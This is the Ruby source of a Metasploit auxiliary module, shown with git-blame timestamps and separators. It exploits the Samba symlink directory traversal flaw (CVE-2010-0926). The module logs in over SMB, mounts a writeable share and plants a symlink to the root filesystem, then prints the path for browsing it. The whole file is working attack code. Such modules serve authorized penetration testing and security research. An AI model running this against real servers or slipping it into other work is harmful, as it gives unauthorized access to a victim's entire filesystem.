2010-02-05 06:38:24 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-02-05 06:38:24 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2010-02-05 06:38:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Exploit mixins should be called first
|
2015-02-13 23:17:59 +00:00
|
|
|
include Msf::Exploit::Remote::SMB::Client
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
# Aliases for common classes
|
|
|
|
SIMPLE = Rex::Proto::SMB::SimpleClient
|
|
|
|
XCEPT = Rex::Proto::SMB::Exceptions
|
|
|
|
CONST = Rex::Proto::SMB::Constants
|
|
|
|
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Samba Symlink Directory Traversal',
|
|
|
|
'Description' => %Q{
|
|
|
|
This module exploits a directory traversal flaw in the Samba
|
|
|
|
CIFS server. To exploit this flaw, a writeable share must be specified.
|
|
|
|
The newly created directory will link to the root filesystem.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
|
|
|
|
'hdm' # metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2018-07-12 22:34:52 +00:00
|
|
|
['CVE', '2010-0926'],
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '62145'],
|
2013-08-30 21:28:54 +00:00
|
|
|
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
|
|
|
|
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def run
|
|
|
|
print_status("Connecting to the server...")
|
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
|
|
|
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
|
|
|
|
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
|
|
|
|
|
|
|
print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
|
|
|
|
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
|
|
|
|
|
|
|
|
print_status("Now access the following share to browse the root filesystem:")
|
|
|
|
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
|
|
|
|
print_line("")
|
|
|
|
end
|
2010-02-05 06:38:24 +00:00
|
|
|
end
|